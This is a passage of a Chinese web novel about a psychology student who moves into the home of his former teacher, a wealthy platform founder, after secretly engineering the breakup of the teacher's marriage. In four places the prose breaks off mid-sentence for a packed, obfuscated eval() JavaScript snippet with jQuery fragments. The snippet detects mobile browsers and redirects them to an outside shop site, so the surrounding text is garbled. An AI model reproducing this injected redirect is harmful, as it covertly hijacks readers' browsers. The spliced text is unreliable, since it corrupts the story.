黑暗中,一切感官被放大,言真穿着他自己的厚毛衣,面料纤维很粗糙,有很多孔隙,谢如珪听到少年沉沉的心跳声,屏住呼吸默数了两秒,两人的心跳重合。
耳边立刻传来医生的肯定:“很棒,谢老师。躯体症状减轻多了。”
言真松开谢如珪。
少年维持着双膝跪地直立的姿势,这样比蜷缩蹲坐着的谢如珪要高上一点,谢如珪才从他怀里缓过来,抬头看到他温柔地注视着自己。
他突然想到,先前玩笑的话……言真确实不应该搞直播,他就应该当一个医生。
刚刚,好像真的被他拯救了一样。
呼——他长长地呼出一口气。
言真知道他尴尬,解释道:“谢老师,你刚刚的状态是解离的后遗症。”
谢如珪的注意力还涣散着,顺着他问:“什么是解离?”
“解离是一种心理防御机制。通常在个体面对极端压力、创伤或无法承受的情境时出现,表现为意识、记忆、身份或感知的分离或断裂。”
“……”
“简单点说就是你的大脑认为当下你无法承受打击,自动开启了保护机制,切断身体感受。你会变得非常平静甚至兴奋,觉得没什么大不了。过一段时间,大脑认为你可以承受了,创伤感受就会延迟到来。”
“唔。”
谢如珪理解了。
他闭了闭眼睛……言真说的,全中。
昨天下午走出警局前,他思维发散到想找个gay吧玩玩,正常情况下他绝不会诞生这种荒谬的念头。当时,他隐约察觉到自己的情绪不太对劲,被流着泪的言真叫住后倒是没继续胡思乱想,也忽略了自己不太对劲的状态。
昨晚惊醒也有这个原因吧?大脑在试探,在放松。
昨晚也被和言真的谈话安抚了。
然后刚刚,在他收拾十多年前的旧物时,大脑彻底放开,悲伤的情绪瞬间席卷至全身,谢如珪难受到心脏酸楚,整个人陷进记忆碎片里无法自拔。
还好言真出现了。
“谢谢。”他用有些闷的嗓子道谢。
言真接着往下说:“谢老师,你的症状很轻,你今天就出现副作用说明你本身的情绪调节能力很好。你会很快走出来的——我指的是消化掉这些情绪。”
“嗯。”谢如珪好受多了,朝他笑,问他,“小言医生,你刚刚是在治疗我吗?”
这下换言真腼腆了:“不是治疗,是帮助。解离不算是严格意义上的心理疾病,它其实是正面的,我们的大脑正在保护我们的身体。你的躯体症状很轻。刚刚抱你是尝试用体温、触觉之类的来缓解感统失调。”
体温、触觉,谢如珪都感受到了。
言真的手抚摸着他脸颊的温度,织物经纬纵横、被编织成麻花辫的纹理,洗衣粉的味道和少年沉沉的心跳声……谢如珪都感受到了。
“谢谢。”他再一次地道谢。
言真笑笑,他先站起来,然后伸出手拉谢如珪起来。
“症状严重的会怎么样?”他问。
“失忆、梦游、人格分裂,或是诱发别的精神疾病。”
那真的很严重了!谢如珪非常庆幸昨天自己把言真带回家。
短短一天的时间,他有三次情绪不对劲,都是言真把他被抽离的感知拉回到现实世界。
言真走向落地窗,似乎是想拉开窗帘让光线进来。谢如珪刚刚听他说了一些理论,大概理解了光线应该也是缓解负面状态的一部分。他没有出声提醒言真,其实可以语音控制窗帘盒自己拉开。
言真已经走到落地窗前了。
在阳光透进来,他们结束短暂的“医患关系”之前——
谢如珪问:“你会觉得我脆弱吗?”
这个问题,谢如珪更多的其实是在问自己。
明明昨天那么果决,今天竟然会因为一些旧物而触动,自己把自己关在房间里。
“刷——”
言真拉开窗帘。
他背着光,没有像谢如珪想象中的那样反驳他说你并不脆弱——以此来安慰他。
他说:“谢如珪,我喜欢男人身上的脆弱感。”
·
冷掉的鱼汤有一点腥。
谢如珪尝了一口,直皱眉。正要把盖子盖回去,言真说他来,他有办法。
“不要了吧?”谢如珪倒不是挑剔,他用惯了、吃惯了好东西,发腥的鱼汤在他看来已经是不可食用了,变质了没必要硬吃。
“没有变质,热一下就好。”言真说。
他把砂锅救走,重新端到灶上开火,又拉开调料篮往里面加了点东西,然后重新回到餐桌。
言真的餐桌礼仪比谢如珪想象中好很多,这一点他昨天晚上就发现了。两人讨论着北京的天气,讨论着一会儿把车停在哪里。快吃完时,言真把重新热好的鱼汤端回桌上,力邀谢如珪尝一下。
谢如珪不好打击孩子的热情,舀了一碗。
结果出乎他意料的鲜美。
“你加了什么?”他问。
“葱段、柠檬、白胡椒,还有一点辣椒圈。”言真说,“其实只要热一下就不腥了。”
谢如珪点点头。阿姨做饭的把握很精准,两人胃口都不错,顺利光盘。
吃完饭稍作休息,谢如珪陪言真回宿舍收拾行李。
在他的提醒下,言真再次穿上了那件黑色羽绒服。
一月北京平均气温在零度左右,大雪随时说下就下,两人出门的时候雪刚停,到京大又下上了,还好车里有伞。
身量差不多的两个男人打着伞并肩前行。
谢如珪问:“你有行李箱吗?”
“有。”言真说,“我行李不多,能装下。”
谢如珪放心了。
元旦假期的第二天,学校里依旧没什么人,谢如珪把言真送到宿舍楼下后,自己去文创店逛了逛。
京大的文创很有名,谢如珪买了个冰箱贴,刚结完帐,言真的电话就打过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592266|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,说他已经收拾好了,问谢如珪现在在哪儿?来找他。
“这么快?”宿舍和文创店好一段距离呢,谢如珪以为要收拾很久,“这样,我们门口见。”
言真:“好。”
他的行李箱里一半是书,剩下的是衣服,加起来就是他的全部家当了。
言真收拾行李的时候给蓝牙耳机充了会儿电,算算时间,走过去刚好够他把录音再听一遍。
一路上心情都很好,看到站在车外等他的谢如珪时就更好了。
很难想象谢如珪已经三十一岁了。
这些年来,言真在报纸上寻找他的身影,在谢如珪的朋友的社媒账号上筛选他的踪迹,直至昨天下午,两人时隔十三年再次见面,谢如珪还是那么意气风发。
不仔细看的话很难发现,谢如珪其实是淡颜的长相,他的五官有一种出身江南水乡的古典和婉约,一米八的身高总是风度翩翩,让人直观感受到他接受过良好的教育。
偏偏就是这样一副古典、没什么攻击力的长相,因为皮肤太薄,脸上各处总是有恰到好处的阴影,嘴唇又特别红,极淡生艳,随便一个眼神、一个表情,都叫人觉得他漂亮得惊人。
他穿着黑色羊绒大衣站在车前,站得可以说是非常规矩,并不故意耍帅,就连雨伞也是收好拿在手上的,都把周围帅出了几个看到他走不动,想上前来要电话号码的。
言真拖着箱子,大踏步走过来。
“你好,可以给我你的电话号码吗?”他问。
谢如珪先是一愣,然后哈哈大笑。
他同样幽默地回答道:“不好意思,我在等人。”
男人接过言真手上的行李箱,放进后备箱,顺便把长柄雨伞也放进去:“还怪沉……你在听什么歌?”
“不是歌,是英语口语。”言真回答道。
见到真人,他把耳机摘了,随手装进兜里。
上了车,言真才发现谢如珪并没有往颐和原著开,好奇地问他,谢如珪就说先不回家,先去商场给他买几件衣服。
“谢谢谢老师,我有衣服穿。”
言真抿了抿唇,拧着眉。谢如珪刚好在看后视镜,看到,觉得这孩子真的好清纯好青春,能演校园爱情电视剧里的男主角的那种。
越看越讨人喜欢。
他没理言真劝阻他的婉拒,不容拒绝地说道:“要买的,本来你考上大学,来北京,我就应该去机场……去火车站接你,给你买衣服,带你吃北京烤鸭。你想不想吃北京烤鸭?好,我们晚上吃北京烤鸭。”
什么也没说的言真:“……”
算了,谢老师心情这么好,就让他买吧。
谢如珪的心情确实很好,十分钟前,他接到律师的电话,说离婚协议沈恪已经签了,美国那边的律师可以开始走法庭程序了。
心情好自然要庆祝一下了,谢如珪什么也不缺,他没什么好奖励自己的。
他站在车前,远远地看到言真朝他走过来,突然想起来言真的毛衣不光不保暖,还很扎。
那就给言真买衣服。
5. 第 5 章
又是夜里才回到颐和原著。
北京四环地皮金贵,谢如珪当年为了买下这栋独栋别墅,用光了手里所有的现金流。不过第二年就迎来了楼市峰值,房子的市场价翻了倍,谢如珪好不得意。
别墅的使用面积超过一千平,分前院和后院。前院和后院之间有落差,从前院进是一层,从后院进是地下一层。谢如珪把车开到后院,停在花园里,明天是元旦假期的最后一天了,司机得赶在工作日前洗好车。
言真长得好,干净清瘦的少年穿什么都好看。谢如珪购物欲大发,给言真的衣服从冬天买到了春天,两人两手提得满满的,终于走到前院正门的时候,谢如珪差点热出一身汗。
“好重。”他把购物袋扔在门口,叫言真过来,给他录指纹和面部识别,“把这里当成自己家安心住着,你也看见了,谢老师很好相处的,对不对?”
他朝言真眨眨眼睛,揽着少年的肩膀把他拉过来,录面部信息。又道:“我也不是每天住在这里,有时候住公司附近的公寓,忙起来还要出差。啊对了!等会儿我把阿姨的联系方式给你,有什么需要要说知道吗?”
谢如珪很喜欢小孩,支教的时候甚至天真地想和人家家长争一个他特别喜欢的小孩的抚养权,这事儿现在还是谢家餐桌上的笑话。那个小孩长大了,现在在美国留学,言真也很乖,谢如珪欢迎他住进来。
而且谢如珪是有一点私心的。他不想现在就让父母知道他和沈恪离婚的事,会很没面子,仿佛他这么多年一直在做一件错误的事,如今不得不低头认错一样。
等手续全部走完,他状态彻底恢复,再告诉父母。
言真在他人际关系里的位置刚刚好,又是学心理学的,言真在,谢如珪认为他会很快恢复。
录完,谢如珪率先走进门。言真手脚麻利,把手上的购物袋放下,又去拿谢如珪刚刚顺手放在地上的。
“谢老师,我的行李箱还在车上。”言真说。
谢如珪一拍脑门,他真给忘了。
购物袋放在后座,两人能提回来已是极限,谢如珪揉了揉脸颊:“我们去……”
“钥匙给我吧,我去拿,你坐一会儿。”言真说。
谢如珪是真不想动了,他没和言真客气,直截了当地把钥匙扔过去。言真还年轻,年轻人就该多动,他就坐着吧。
反正言真已经录过指纹了。谢如珪愉快地关上门。
他昨晚没睡好,早上看助理和收纳师打包遗物,心情不佳,中午……中午就不说了。下午倒是心情好,只是一整天情绪跌宕起伏,晚上回到家后觉得特别累。
言真拿到行李箱,再回到别墅时,发现谢如珪并不在客厅。不知道他是不是已经休息了,言真整理的时候很小声。
春秋的薄的衣服和贴身的内搭叠好放在沙发上,明天阿姨看到会负责洗。照顾他的情绪,谢如珪没带他去那种贵得要命的奢侈品店,而是在设计师集合店买了些适合他穿的——对言真来说也很贵了。
外套、羊绒之类的外搭不用洗,穿脏了再洗。言真把衣服小心地挂进衣柜。
他简单收拾好行李,再次回到客厅,想看一下有没有什么遗漏的。念念不忘十多年终于登堂入室,他必须事事做到最好,谢如珪和他一起最舒心。
谢如珪穿着睡袍坐在沙发上,朝他招手。
言真一愣,慢慢走过去。
谢如珪大概没把他当成同性,而是把他当成了小辈。在他面前妥帖却不设防。他大概从没想过言真其实已经成年了,拥有正常男性——男同性恋的思维。
谢老师,你怎么这么快就忘了昨晚听到的呀?言真想。
当然,言真不会那么快表现出来。
他尽量不往男人裸露出来的细腻皮肤上看。
谢如珪的头发吹过,没有打理过的发型蓬松自然,他看起来更年轻了。穿着并不暴露的浴袍坐在沙发上,正在泡茶,他都洗漱完了还在这里坐着,显然是特意等言真,有话和他说。
“过来坐,有事想问你。”谢如珪说。
言真依言走过去。
谢如珪泡茶的动作并不浮夸,他长得帅,手也漂亮,一举一动赏心悦目。茶杯被推过来,言真一口气喝完,谢如珪就看着他笑。
言真做好了被谢如珪问沈恪的事的准备。
昨天下午,谢如珪轻度解离,他昨天不想问。不代表今天逐步恢复后不问。
言真有完美的措辞。
早在他决定好要拆散这段婚姻之前就想好了措辞。
他足够小心谨慎,事情进行得和预想中一样顺利,结果也比他一开始的目标更好。事先准备的措辞也在这些日子里完善、润色。
言真有自信,无论谢如珪以怎样的方式提问,他给出的答案都能让谢如珪更怜爱他、更欣赏他。
他呈现给谢如珪的就是这样的“言真”——谢如珪一定会喜欢的言真。
然后他听到的却是:“言真,小言,我希望你以专业的角度告诉我,我现在的状态需不需要看心理医生?”
后来,言真才知道,谢如珪泡的茶是正山小种。一种原生的、古老的红茶品种。正山小种有着浓厚的松脂香气,茶汤明亮、胶质感强。细品能尝到桂圆的甜,和糯米的醇。
它最神奇的一点就是,当水蒸气氤氲成雾的时候,熏制过程中的烟味会缓慢释放。这使得正山小种成为一种极度耐泡的茶,能比一般的茶多泡三四泡。
就像谢如珪这个人。
明明白天还问自己他脆不脆弱,几个小时后就能下定决心正视问题。他有着非同一般的坚韧内核。
就是这样的谢如珪,指引着言真从小到大的精神成长。
言真想,就算没有他这次的推波助澜,沈恪做过的事情随着时间发酵展开在谢如珪面前,而他不在谢如珪的身边——如果是这样,谢如珪也不会一蹶不振的。
他还是会很快振作。他不会再给沈恪任何一点在意的目光,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592267|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就像现在这样。
言真认真地说道:“谢老师,我没有行医资质,也不够专业,没办法给你是否就医的建议。但是既然你已经想过了,不如去看看心理医生?你可以把它当成心理咨询,本来,解离就不是严格意义上的心理疾病。”
言真是真心的。
谢如珪今天中午的状态,显然是还有什么令他过不去。言真毫不怀疑谢如珪早晚能过去,但是能快一点、平稳一点自然最好不过。
言真就是学心理学的,现代人的精神世界太丰富了,心理咨询早该普及了。等到真的生病了,才来找心理医生,反而很难办。
谢如珪考虑看心理医生,言真一百个支持。
他问谢如珪:“你想好了吗?需要我给你推荐诊所吗?我们系优秀毕业生的归宿。”
谢如珪哈哈大笑。
“你给我推荐吧。”他说,“你以后也去那里上班吗?”
“我希望可以。”言真说,“听说那里待遇很好。”
说着,挺直了脊梁,一脸向往。
谢如珪只觉得和言真聊天真的好舒心。商场上可以讨好他的下属、合作伙伴,都没有言真会说话。
两人又聊了会儿,茶喝到第五泡后,谢如珪不再往里面加热水。
“不早了,休息吧。对了,房子现在比较空,我刚刚看着电视柜、花几,总觉得不习惯,明天让阿姨买些鲜花插上。你不过敏吧?”
“不过敏。”言真说,“从心理学的角度上说,更改家居环境会带来不一样的心情。”
“那我还误打误撞了?你有什么喜欢的花吗?”
“我都可以……谢老师,我可以把我的东西放在客厅吗?”
这还是言真第一次主动提要求,谢如珪有些惊讶,自然不会不同意。
他当即应允,言真看起来很开心,站起来说他现在就去拿。
少年风风火火地往楼上走,很快又风风火火地下来。谢如珪第一次看到他这么活泼,更加好奇他要在客厅放什么东西了。
谢如珪干脆迎上去。
言真要放的是一个奖杯。水晶材质——当然,是人造水晶。激光刻字,写着辩论赛冠军队伍的奖杯。
谢如珪自己就有不少奖杯,公司每年给各大博主定制的奖杯、证书数不胜数。言真拿着奖杯问他这个可以放吗?他觉得这个奖杯的分量是很重的。
沉吟片刻,谢如珪说:“这个放在花几上吧,毕竟是你上大学后第一个重要的奖杯。之后还有别的奖杯证书的话再摆在电视柜上。”
言真正有此意。
这个家里,曾经某人的痕迹会被他不动声色地覆盖。是谢如珪同意,他主动提议的。
他刚刚拆散了谢如珪的婚姻,作为补偿,言真会亲自为谢如珪之后的人生保驾护航。
奖杯是谢如珪接过,亲自放在花几上仔细调整好底座角度的。
“谢老师。”言真撒娇道,“要多关注我的成长呀。”
6. 第 6 章
工作日,谢如珪忙到脚不沾地,有两天是在公司睡的,周四去常去的裁缝铺量体裁衣定制西装,直到周五下午才在护士告知他不能再往后推的电话里,来到言真推荐的,据说是他们系优秀毕业生的归宿的心理咨询诊所。
“谢先生,终于见到你了。”
谢如珪的心理医生叫胡德正,不到四十,看起来已经五十了。主要归功于他亲切的地中海发型,和沉稳的超厚金丝眼镜。
胡德正医生的医术如此外露,在北京这个压力大得要死的鬼地方,胡医生他很有名。
谢如珪也是沾了言真的光才挂上他的号。正常排号要半年后去了。
原本约的是周二,周二谢如珪的公司出了件事,一个一直在他们平台直播的不露脸软色情博主被扒出其实是男的。
长达数年、锱铢必较、条分缕析的证据通通指向这些年,他对胸直播,下播后加大哥给大哥发福利照——这些全部用的是硅胶娃娃。
所谓的“摄影师”,才是这个宅舞区数一数二的账号的皮下。
这件事情把谢如珪这个老板都震惊了。他说呢!去年的百大up主颁奖盛典其实是有这个不露脸软色情博主的,当时公司的营销策划原本想把这个博主首次露脸当做噱头,被婉拒了。
真相原来是硅胶娃娃没有头。
呵呵。愤怒的宅男们差点把平台屠了,Lvjiji作为一个长视频平台,也享受了一把微博热搜炸掉服务器的待遇。[1]
周二周三,全部门加班。技术部修服务器,广告部安抚金主爸爸,运营部商量怎么补偿用户——尽管大家都觉得很冤枉,为了平衡内容质量与收益转化,超管没少给擦边博主们擦屁股,这个博主吧他虽然对胸直播但是不怎么暴露,算是省心的。谁能想到会出这种事?
五年了!五年了!他硬生生装了五年!要是不被实锤拆穿,估计还能继续装。
总之,全公司加班,谢如珪自然不好一个人岁月静好。高管哄着员工,他就哄着高管,自掏腰包给大家订下午茶订夜宵。
还打电话给谢母常去的美容院订了一批月卡。Lvjiji女性员工占比高,公司的员工福利大多是讨好女性的。
谢如珪昨天去裁缝铺定制今年百大up主颁奖盛典的西装,师傅量出他维度小了一点,还打趣他最近是不是没有健身。谢如珪有苦难言,只说自己清减了。
福无双至祸不单行,宅男们对平台撒气,主要还是气平台的直播系统既然没有检测出镜头里的不是真人,这确实也是Lvjiji的漏洞,技术部解决完直播系统的问题后,顺便升级了一下公司的打卡系统。
这就直接导致,今天早上,很多熬了两天夜,小脸焦黄黑眼圈宛如熊猫怨气比鬼还重的员工们,被堵在产业园门口,无法进入公司。
最后一群人干脆翻墙进去。
这件事上了热搜,现在还没下来呢。
谢如珪自己也是没进去的一员,这才来看心理医生。
“不好意思啊胡医生,实在是工作太忙了。”谢如珪抹了把脸,为自己感到心酸。
员工翻墙的事上热搜后,大姐谢梦娆率先在相亲相爱一家人里哈哈他,谢如璋紧随其后。全家人谁也没放过他,又有谁会怜惜他这几天是怎么过来的呢?
对了!这不是有现成的吗?
谢如珪把这几天的遭遇向胡医生大倒苦水。
胡医生受过专业训练,无论多好笑的事都不会笑出声。两个小时的咨询时间很快过去,结束的时候两人约好了下周五再次进行咨询。
谢如珪神清气爽地离开心理咨询诊所,开车回家。
·
周五下午,是哲学系大一最为重要的一节专业课,马克思主义哲学经典著作导读。由于任课教授诺如病毒尚未完全康复,所以由隔壁马克思主义学院的沈恪教授负责代课。
沈教授在学生中的风评非常两极分化。
喜欢他的认为他年轻有为、风度翩翩,对待学生认真负责。除了上课爱提问以外,是一个完美的老师。
讨厌他的觉得他特别能装,具体的说不上来但是就是很装。
言真不一样,言真觉得他纯傻逼,孤儿级别的傻逼。
优越感——他在书的扉页上写下这几个字。
言真在学习上的天赋一般,之所以能考上京大是因为孤注一掷的决心,前几年他几乎把夜熬干了,拼命学、拼命学,终于来到了这里。
像他这样努力型的学生,最能检验一个老师的教学水平。
老师教学水平高,他成绩就好。老师教学水平不行,他就要熬很多夜,自己用功吃透知识点。
沈恪……也就上上公共课还好,真让他上专业课,马上就会暴露真实的教学水平。
果不其言,连续两节九十分钟的大课,上到一半的时候,同学们眼见着越来越迷糊,沈恪关闭了PPT。
多媒体的关机声让同学们稍微清醒了一点——京大的教学楼里有供暖,有好处有坏处。坏处是如果老师讲课枯燥,学生会很容易睡着。
沈恪单手一撑,坐在讲台上。
“同学们,打起精神来呀。”他说,“大好的青春,怎么能不和马克思进行灵魂交流呢?坐在这里学习是多么幸福的一件事啊。”
“老师在你们这个年纪的时候,特别爱学习。大家不要笑,是真的。咱们这个专业你们知道的,不赚钱,真的你没办法赚到钱,所以选择这个专业的同学都是特别有理想的。我打心眼里佩服大家。”
“当然,最好别和老师一样,读了本科读硕士,读了硕士还要读博士。最完蛋的就是读完了博士还要继续深造。你们知道吗?老师每个月不光要拿副教授的工资,还要拿博士后的工资。”
“老师今年三十一岁了,一辈子没走出过校园。你们这一代孩子一定要多出去看看,我觉得马克思最伟大的一点,就是指导实践。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592268|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实践好,实践好。”
又开始了。
言真冷笑一声,开始玩手机。
每一次,课讲不下去,沈恪就会像现在一样,慵懒地炫耀他四平八稳的人生。
他对他所拥有的一切得意极了,并且他自己比谁都清楚他是如何拥有的。
他好像很成功,而且是那种很松弛,做什么都很容易的成功。他是一个吃尽时代、吃尽婚姻红利的傻逼。学生的迷茫衬托他的一切尽在掌握,他还要反过来教育学生要努力啊。
就像现在——
有一个女生站起来说,她之前上过沈教授的课,听说过沈教授似乎要去国外深造。
“您之前提过,您的爱人非常支持您在学校的工作,您去国外深造她会和您一起吗?”
女生并不知道沈恪的真实性取向,沈恪没有出柜。
言真听见沈恪说:“呵呵,不是,这次深造是老师努力这么多年的一点福利吧,是咱们学校里的项目。”
明明半个月前,他还在公共课上炫耀,说他青年时期很贫苦,都是他的爱人支持他他才走到今天。他炫耀他的爱人经济条件很好。
要不是特殊的婚姻关系,他恨不得炫耀他嫁入豪门了。
同学们:“哇!”
沈恪:“同学们努力学习,未来也能像老师一样。当然,老师知道现在经济下行,你们大学生的日子很不好过,但是你们一定要相信努力会有回报的。”
努力当然会有回报,但这句话不应该是沈恪说。
努力两个字和他没有半点关系,因为除了婚姻,他从来没有努力过。
沈恪是那么的清高,努力的姿态让他觉得羞耻。他每每炫耀自己的成功都是那么的慵懒、那么的漫不经心——正因为他本质上是一个害怕失败的人,所以当初才会在面对未知的人生的时候剑走偏锋,以一段跨越阶级的婚姻来成就自己后半生的安枕无忧。
装货。太蠢了。言真只觉得烦躁。
他在沈恪侃侃而谈的时候,突然从教室后排的角落里站起来,大声问道:“沈教授,您可以讲一下是什么项目吗?我想向您学习,我正在准备考研。”
沈恪没想到言真也在,脸色一僵,匆匆说了几句,重新打开多媒体播放PPT。
下课铃一响,撂下一句还有教学会议要开,拒绝了学生的课后提问,匆匆离开教室。
言真慢吞吞地收拾书包,打算在食堂吃完饭再回颐和原著。谢如珪连着两天没回家,昨晚倒是回了,但是是半夜回的,早上又走得急,言真得有三四天没见到他的人了。
不知道今天会不会回家……
这么想着,手机突然响起来,是胡德正。言真接起电话。
胡医生开门见山道:“言真,谢先生的情况和我们想象中不太一样,他非常抗拒谈起你和我提过的那件事。事实上整个心理咨询过程中,他一次也没有聊到出轨。我没有进展,可能还得你来。”
7. 第 7 章
谢如珪从心理咨询诊所出来,助理已经按他说的买好了稻香村的点心。
一共两盒,一盒是谢母指定的京八件,一盒是谢如珪让助理看着买的年轻人爱吃的。
谢如珪有两天没回家了,听阿姨说言真在家很乖,有次她落了东西晚上过来拿,看到言真还在学习。谢如珪一次支教一生老师情,满意言真,买点心也记着他。
他坐上车,腿踢了踢前排座椅靠背。
“你怎么还在车上?”他说,“下车,把点心给我妈送去。”
助理:“……”
助理:“老板,我下班了吗?”
谢如珪嗯了一声。现在四点多,助理把点心送到东山墅就正好下班。
“可是您还没有下班。”助理幽幽道,“您进去的时间里,三个部门经理把电话打到了我这里,要找您汇报。”
工作、工作。谢如珪只好让司机开车回家,他在路上听助理汇报。
助理和谢如珪的二秘三秘连着麦,硅胶娃娃事变已经平息得差不多了,现在不过是进展总结。谢如珪听工作汇报的时候非常寡言,通常只会说“嗯”和“不行,回去重做”两句。
今天他说的是嗯。
硅胶娃娃事变引发的宅男屠平台,对Lvjiji来说是无妄之灾,然而今天上热搜后带来的流量却是正面的。员工们抱怨归抱怨,良好的福利待遇下其实对公司尽心尽责,谢如珪没什么好挑刺的。
助理小算盘精,到颐和原著时正好汇报完工作,觍着脸要司机送他去东山墅,说点心大部分是酥皮的,路上颠簸了就不好了。
谢如珪不置可否,于是助理坐着劳斯莱斯、拿着加班费,去给谢母送点心了。
谢如珪提着小号的礼盒进门。
他把礼盒放在玄关柜上,突然想起来,下车的时候晃眼看到门口放着什么东西,又返回前院门口。
果然,铁门外放着一个半人高的快递箱子。
谢如珪走近查看。
收件人不认识,号码也不是他的。他拿起手机,给言真打电话,电话占线。
他挂电话后,又打过来。
“你网购了东西吗?门口有一个快递。”谢如珪道。
快递单号上的手机号估计是隐私号,谢如珪从联系人里找到言真打过去的时候特意看了眼,不是一个号。
“嗯?已经到了吗?是我买的。”言真说,“谢老师,你已经到家了吗?”
他捂着手机,对打饭阿姨说了句不好意思,他不要了,并把空的餐盘放回收纳筐里,快步往食堂外走。
谢老师回家,他就不在学校里吃饭了。
“嗯。我帮你把快递拿回家吧。待会儿见。”谢如珪说。
“谢谢,待会儿见。”言真扫了辆共享单车。
颐和原著作为北京海淀区数一数二的顶级豪宅,地理位置十分优越,就在颐和园旁边,距离京大只需要五分钟的车程。最近一周言真上下课都是骑共享单车。
言真以为谢如珪今天不会回家,让阿姨不用特意过来给他做饭。他得快点回去给谢如珪做饭呢。
·
谢如珪几乎不网购,他的习惯是需要什么,临时去商场买就是了。北京有一点好,只要有钱,没有什么东西是买不到的。
年轻人喜欢网购倒是正常。
谢如珪没有窥探言真隐私的意思,他把半人高的快递箱子搬回家放下,不过是下意识地看了一眼。
就这一眼,他看清,快递单号最下面,油墨印的字,写得是似乎是……玩具。
玩具???
公司才遭剧变的谢如珪:“……”
不怪他胡思乱想,主要是硅胶娃娃事变影响之大,热搜都挂了好几天了。现在恐怕全国爱上网的网友都知道了这件事,而他作为Lvjiji的老板,只会比网友们知道的更多。
比如超管联系该博主,要求视频验证性别,该博主戴着假发化着浓妆依旧变声器夹子音。超管问多了,该博主一急眼,原生性别疯狂长出血肉,突然怒吼一声猛捶桌子,鸽子蛋般的喉结再无法隐藏。
又比如……谢如珪闭了闭眼睛,不愿再回忆。
只能说,当Lvjiji成为一个成熟的长视频平台,拥有无数创作者之后,他作为创始人兼老板不再对平台调性有最终解释权了。
Lvjiji终究是脏了。
谢如珪把快递箱子放在玄关柜旁,想了想,又推到高尔夫球包后面藏着。他告诉自己现在是下班时间,不要再想工作上的糟心事了。
人家小孩买个玩具怎么了?
言真才十八岁,喜欢玩玩具太正常了。
箱子里可能是二到七阶魔方,可能是泡泡玛特,可能是漫威手办……总之,和硅胶娃娃没有半点关系。
不要用成年人肮脏的思维污染清澈的大学生!
自我批评完,谢如珪把点心礼盒放到茶几上,上楼换了身舒适的家居服。
Lvjiji作为拥有自主独立产业园的互联网大厂,除了特殊部门需要轮值外,是双休。谢如珪事业心很一般,也没人管他打不打卡,他给自己制定了上四休三,甚至想再上几年班就退休,请职业经理人来打理公司。
换完衣服下楼,言真刚进门。
“谢老师。”言真笑着说,“周末愉快。”
谢如珪感动极了!
言真真是个贴心的好孩子。谢如珪有个侄子,在美国,是大姐谢梦娆的儿子。谢如珪和他很亲,但这个坏小子和他妈一个德行,Lvjiji员工翻墙上班上热搜的事,他也哈哈谢如珪。
对比下来,言真是多么的可爱!乖巧!贴心!
谢如珪说道:“是啊,忙了一周了,终于到周末了。”
言真换鞋进来,谢如珪这才注意到,今天怎么没看到阿姨在厨房忙碌?言真就说是他让阿姨不用来的,谢如珪不在,他一个人在这么大的房子里吃饭好冷清,这两天都是在学校里吃的。
谢如珪给了他阿姨的联系方式,阿姨一开始没同意,还是言真说学习紧张,在食堂吃比较方便阿姨才同意。就这样,这两天早上过来都给言真带了炖汤,给他补身体。
言真说:“谢老师,我是不是自作主张了呀?”
他问得小心翼翼,而且本来也是好心,谢如珪哪里会说他?
“没事,你自己觉得怎么方便就怎么来。”谢如珪多说了两句,“阿姨姓郑,照顾我爸妈很多年了,看着我长大的。我出来住她不放心,就过来给我做饭。”
言真点点头,乖巧地应了声。他知道谢家其实是上海的,因为生意原因常年在北京。
快六点了,谢如珪原本想带言真去外面吃饭,言真却说就在家吃,他来做。
“你来做?”谢如珪挑挑眉。
“现在出去肯定堵车,我做饭很快的。”言真说,“谢老师,你能吃辣吗?”
说着,已经在系围裙了。
冰箱里的食材郑姨每天都会清点,都是新鲜有机的。颐和原著作为顶级豪宅,物业费贵得吓人,物业时不时的会送一些土特产给业主们。业
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592269|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主们不一定吃,甚至小区入住率不算太高,很多别墅常年空置着。但心意总归是能让人记住。
言真大致扫了一下,除了空运的云南菌菇他拿不准不太敢碰,其它的,川菜都能做。
“能吃,正常做就好。”
言真:“稍等半小时。”
